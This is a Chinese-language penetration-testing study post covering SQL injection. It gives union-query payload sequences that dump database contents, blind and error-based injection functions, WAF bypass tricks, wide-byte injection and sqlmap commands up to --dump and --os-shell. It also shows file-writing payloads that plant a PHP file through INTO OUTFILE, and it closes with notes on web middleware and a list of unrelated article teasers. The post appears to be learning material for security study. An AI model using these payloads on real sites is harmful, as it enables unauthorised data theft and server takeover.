渗透知识贴

文章目录

  • 基础知识
    • 同源策略
  • 常见web漏洞
    • SQL注入漏洞
  • web中间件

基础知识

同源策略

同源策略是目前所有浏览器都实行的一种安全政策。A网页设置的 Cookie,B网页不能打开,除非这两个网页同源。所谓同源,是指:协议、端口、域名相同
在这里插入图片描述

常见web漏洞

SQL注入漏洞

1、SQL注入漏洞原理:Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数时攻击者可控的,并且参数带入数据库查询,攻击者可以通关构造不同的SQL语句来实现对数据库的任意操作。简单来说就是前端传给后端的参数用户可控;传入的参数被拼接到SQL语句且带入数据库查询。

2、SQL注入分类

  • 以有无闭合字符分类:字符型、整数型
  • 以数据传输方式分类:post类型、get类型
  • 注入方式细分:联合查询注入、报错型注入、布尔型盲注、时间型盲注、宽字节注入

3、联合查询基本步骤

	id=1'    //报错,说明有注入点id=1 and 1=1 # //正确id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入id=1 order by <数字> # //判断字段数id=1 and 1=2 union select 1,2,3, ... #   //查看回显点id=1 and 1=2 union select 1,2,database(), ... #   //查看数据库名id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') #   //查看表名id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名') #  //查看字段名id=1 and 1=2 union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) #   //查看字段内容

4、报错注入常用的函数
updatexml()extractvalue()floor()

5、mysql默认存在的哪个数据库,注入时经常用到?
mysql5.0之后,mysql默认存放Information_schema,在该库中,有三个重要的表:SCHEMATATABLESCOLUMNS

6、时间盲注特点?常用函数?
场景:应用于无数据回显,无报错,布尔型盲注失效后 。
特点:时间型盲注页面没有明显的回显,只能根据页面刷新时间的长短来去判断构造语句是否正确。
常用函数:sleep()benchmark()if(expr1,expr2,expr3)

7、布尔盲注特点?常用函数?
特点:根据页面正确和错误的两种状态,来判断构造语句是否正确。
常用函数:length()substr()ascii()

8、宽字节注入
原理:当数据库编码为GBK时,且传入的引号被\过滤,可以尝试宽字节注入。例如,传入%df',服务端对引号过滤,即添加反斜杠为%df\',带入数据库查询前经过GBK编码为運',反斜杠被吃掉。

9、Sqlmap基本用法

sqlmap
sqlmap -u "url"  //-u选项是检测注入点
sqlmap -u "url" --dbs  //--dbs选项是列出所有数据库名
sqlmap -u "url" --current-db  //--current-db选项是列出当前数据库的名字
sqlmap -u "url" -D "数据库名" --tables //-D是指定一个数据库  --tables是列出这个数据库的所有表名
sqlmap -u "url" -D "数据库名" -T "表名" --columns //-T是指定表名  --columns是列出所有的字段名
sqlmap -u "url" -D "数据库名" -T "表名" -C "字段名" --dump //-C是指定字段  --dump是列出字段内容

10、SQL注入绕WAF姿势

  1. 大小写绕过,例如and 1=1写成And 1=1;
  2. 上写绕过,例如anandd
  3. 编码绕过。注意编码绕过的关键是提交的编码后的参数内容在进入数据库查询语句之前会有相关的解码代码
  4. 内联注释绕过,例如/*!and*/,会被解析为and关键字;
  5. 特殊函数替换
    floor() ==>  updatexml()extractvalue()
    Substring() ==>  Mid()Substr()Lpad()Rpad()Left()
    concat() ==>  concat_ws()group_concat()
    limit 01  ==>  limit1 offset 0
    and  ==> && 
    or  ==> ||
    = ==>  <>
    = ==>  like
    sleep()  ==> benchmark()
    
  6. %00截断绕过,例如:?a=1%00.&id=1and sleep(3),部分waf在遇到%00会认为参数读取已经结束

参考:WAF机制及绕过方法总结:注入篇

11、什么样的网站可能存在sql注入漏洞?

  • 和数据库有数据交互的这种网站,比如一些用php,asp这一类动态脚本写的网站;
  • 还有就是伪静态的网站,虽然看着是html的网站,但是实际上是动态网站和数据库有数据交互。

简单来说,就是注意与数据库有交互的地方可能存在SQL注入。

12、SQL注入挂马
前提条件:

  • 数据库当前用户为root权限;

    # 第一种方法
    select group_concat(user,0x3a,file_priv) from mysql.user;
    #出现Y,这就代表你有文件权限,N就是没有# 第二种方法
    select user(); # 查看当前用户# 第三种方法
    sqlmap.py -u '<URL>' --is-dba # 查看当前用户是否为root用户
    

    在这里插入图片描述

  • 知道当前网站的绝对路径;

  • PHP的magic_quotes_gpcoff状态;

    magic_quotes_gpc=on说明php开启魔术引号,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。

  • 写入的那个路径存在写入权限。
    主要关注secure_file_priv参数。

    secure_file_priv为NULL禁止导出文件secure_file_priv=
    secure_file_priv指定地址限制导出地址只能在此secure_file_priv=D:/”
    secure_file_priv为空可以导出到任意文件secure_file_priv=
    

基于union联合查询:

?id=-1 union select 1,'<?php phpinfo();?>',3 into outfile '/tmp/shell.php' --+
?id=-1 union select 1,'<?php phpinfo();?>',3 into dumpfile '/tmp/shell.php' --+

在这里插入图片描述

因为linux下不是所有用户在/var/www/html下都具有写权限,所以这里只能写到/tmp目录下。

基于union联合查询:

into outfile '/tmp/shell.php' fields terminated by '<?php phpinfo(); ?>' --+

在这里插入图片描述

sqlmp.py -u '<url>' --os-shell # 获取shell

web中间件

关于web服务器、web中间件、web容器之间的区别:web服务器、Web中间件和Web容器的区别
简单来说:

  • Web服务器主要处理静态文件服务,提供基本的HTTP请求和响应功能。
  • Web中间件提供丰富的功能和服务,包括处理动态内容、业务逻辑、安全性等。
  • Web容器是Web中间件的一部分,专注于执行和管理Web应用程序的动态内容,如Servlet和JSP。

其实我们不用将这些概念分得这么细(暂且都叫web中间件),只需要知道web中间件上对应的语言类型即可
常见的中间件类型:

ASP:IIS
PHP:Apache、Nginx
Java:Tomcat、Weblogic、Jboss、WebShere、GlassFish

JSP与javascript:

  • JSP文件(以.jsp为后缀)是用于开发动态Web页面的Java技术,允许在HTML页面中嵌入Java代码。当JSP文件在服务器上被处理时,其中的Java代码被编译为可执行的Servlet。
  • JavaScript文件(以.js为后缀)是一种脚本语言,用于在Web浏览器中实现交互性和动态性。它通常用于在HTML页面中编写脚本代码,以实现各种功能和交互效果。

待续。。。。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/802835.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Windows Server 2008添加Web服务器(IIS)、WebDAV服务、网络负载均衡

一、Windows Server 2008添加Web服务器&#xff08;IIS&#xff09; &#xff08;1&#xff09;添加角色&#xff0c;搭建web服务器&#xff08;IIS&#xff09; &#xff08;2&#xff09;添加网站&#xff0c;关闭默认网页&#xff0c;添加默认文档 在客户端浏览器输入服务器…

面试算法-165-随机链表的复制

题目 给你一个长度为 n 的链表&#xff0c;每个节点包含一个额外增加的随机指针 random &#xff0c;该指针可以指向链表中的任何节点或空节点。 构造这个链表的 深拷贝。 深拷贝应该正好由 n 个 全新 节点组成&#xff0c;其中每个新节点的值都设为其对应的原节点的值。新节…

前端saas化部署

在项目中难免会遇到一些特殊的需求&#xff0c;例如同一套代码需要同时部署上两个不同的域名A和B。A和B的不同之处仅在于&#xff0c;例如一些背景图片&#xff0c;logo&#xff0c;展示模块的不同&#xff0c;其他业务逻辑是和展示模块是完全一样的。此时我们当然可以考虑单独…

Python网络爬虫(六):油管视频评论

本文的思路是利用googleapiclient.discovery连接Google API服务,获取油管视频的评论。Google API可以为开发人员提供很多有用的工具和数据,使用起来也非常简单方便。注意,连接Google API服务需要设置代理,这里需要用到httplib2库,利用该库设置代理信息,然后传入googleapi…

HTML入门基础操作(1)

如果没有下载专业的软件&#xff0c;可直接在txt文本中写出代码后对txt文件名后缀改为.html&#xff0c;即可使用浏览器打开&#xff0c;以作学习。 1、HTML 标题&#xff08;Heading&#xff09;是通过 <h1> - <h6> 等标签进行定义的&#xff0c;标题的大小从h1到…

倒计时1天 | 袋鼠云春季发布会完整议程出炉!快快预约直播

在日新月异的数字化经济时代&#xff0c;企业和组织不断寻求利用先进技术构建自身的核心竞争力。其中&#xff0c;大数据与AI的深度融合正在成为推动企业实现新质生产力的关键路径。 在此背景下&#xff0c;袋鼠云举办春季发布会&#xff0c;以“DataAI&#xff0c;构建新质生…

2024 年广西职业院校技能大赛高职组 《云计算应用》赛项赛题第①套

2024 年广西职业院校技能大赛高职组 《云计算应用》赛项赛题第①套 模块一 私有云&#xff08;30 分&#xff09;任务 1 私有云服务搭建&#xff08;5 分&#xff09;任务 2 私有云服务运维&#xff08;15 分&#xff09;任务 3 私有云运维开发&#xff08;10 分&#xff09; 模…

【Nature Electronics】二维钙钛矿氧化物SNO作为high-κ栅介质的应用

【Li, S., Liu, X., Yang, H. et al. Two-dimensional perovskite oxide as a photoactive high-κ gate dielectric. Nat Electron 7, 216–224 (2024). https://doi.org/10.1038/s41928-024-01129-9】 概括总结&#xff1a; 本研究探讨了二维钙钛矿氧化物Sr2Nb3O10&#xf…

基于蓝牙和IMU的卡尔曼滤波融合算法、扩展卡尔曼滤波算法

前言 看了大量的多源融合室内定位论文,都绕不开卡尔曼滤波和扩展卡尔曼滤波算法。相当经典,但是又缺少代码。 由于计算机专业不学这些算法,因此理解起来难度还有点大。因此业余抽空复现了下,话不多说,直接上代码。 蓝牙和IMU的卡尔曼滤波融合 from filterpy.kalman imp…

商家跑路城市拥堵大数据论文代码开源

原始数据&#xff1a; 日期名称类型所属区拥挤指数速度客流指数20240405世界之花假日广场购物;购物中心大兴区2.46621.369.4920240405华润五彩城购物;购物中心海淀区2.01329.7111.1720240405北京市百货大楼购物;购物中心东城区1.85615.938.2320240405apm购物;购物中心东城区1.…

常用12个自动化测试工具

&#x1f525; 交流讨论&#xff1a;欢迎加入我们一起学习&#xff01; &#x1f525; 资源分享&#xff1a;耗时200小时精选的「软件测试」资料包 &#x1f525; 教程推荐&#xff1a;火遍全网的《软件测试》教程 &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1…

基于springboot实现校园资料分享平台系统项目【项目源码+论文说明】

基于springboot实现校园资料分享平台系统演示 摘要 随着信息互联网购物的飞速发展&#xff0c;国内放开了自媒体的政策&#xff0c;一般企业都开始开发属于自己内容分发平台的网站。本文介绍了校园资料分享平台的开发全过程。通过分析企业对于校园资料分享平台的需求&#xff…

Java基础学习: java.lang.Void

文章目录 一、介绍二、 java.lang.Void 特点 一、介绍 在Java中&#xff0c;java.lang.Void 是一个特殊的包装类&#xff0c;用于表示 void 类型。虽然 void 关键字在Java中通常用于表示方法没有返回值&#xff0c;但 java.lang.Void 类提供了对 void 类型的一个有限的、有用的…

探索ChatGPT应用:学术写作实践与经验分享

ChatGPT无限次数:点击直达 探索ChatGPT应用&#xff1a;学术写作实践与经验分享 引言 随着人工智能技术的快速发展&#xff0c;自然语言处理模型在各个领域的应用也日益普及。其中&#xff0c;ChatGPT作为一款强大的文本生成模型&#xff0c;正在被越来越多的学术写作者用于提…

为什么K8s需要服务网格Istio?

什么是Kubernetes服务网格 Kubernetes服务网格是一种工具&#xff0c;用于在平台级别而非应用级别为应用程序注入可观测性、可靠性和安全性功能。Kubernetes和微服务的兴起推动了人们对这项技术的兴趣&#xff0c;许多组织都采用了Kubernetes服务网格解决方案。 微服务架构高…

kali基础渗透学习,永恒之蓝,木马实战

简介 kali的学习本质是在linux上对一些攻击软件的使用&#xff0c;只是学习的初期 先在终端切换到root用户&#xff0c;以便于有些工具对权限的要求 下载链接 镜像源kali 攻击流程 公网信息搜集 寻找漏洞&#xff0c;突破口&#xff0c;以进入内网 进入内网&#xff0c…

(学习日记)2024.04.10:UCOSIII第三十八节:事件实验

写在前面&#xff1a; 由于时间的不足与学习的碎片化&#xff0c;写博客变得有些奢侈。 但是对于记录学习&#xff08;忘了以后能快速复习&#xff09;的渴望一天天变得强烈。 既然如此 不如以天为单位&#xff0c;以时间为顺序&#xff0c;仅仅将博客当做一个知识学习的目录&a…

Golang——方法

一. 方法定义 Golang方法总是绑定对象的实例&#xff0c;并隐式将实例作为第一实参。 只能为当前包内命名类型定义方法参数receiver可以任意命名。如方法中未曾使用&#xff0c;可省略参数名参数receiver类型可以是T或*T。基类型T不能是接口或指针类型(即多级指针)不支持方法重…

EFCore通用数据操作类

public class ServiceBase : IServiceBase {protected DbContext Context { get; private set; } // 这个DbContext指向的是当前的Contextpublic ServiceBase(IEFContext eFContext){Context eFContext.CreateDBContext();}public void Commit(){this.Context.SaveChanges(); …

2024.4.5-day10-CSS 布局模型(层模型)

个人主页&#xff1a;学习前端的小z 个人专栏&#xff1a;HTML5和CSS3悦读 本专栏旨在分享记录每日学习的前端知识和学习笔记的归纳总结&#xff0c;欢迎大家在评论区交流讨论&#xff01; 文章目录 作业 2024.4.5-学习笔记1 CSS定位1.1 相对定位 relative1.2 绝对定位 absolut…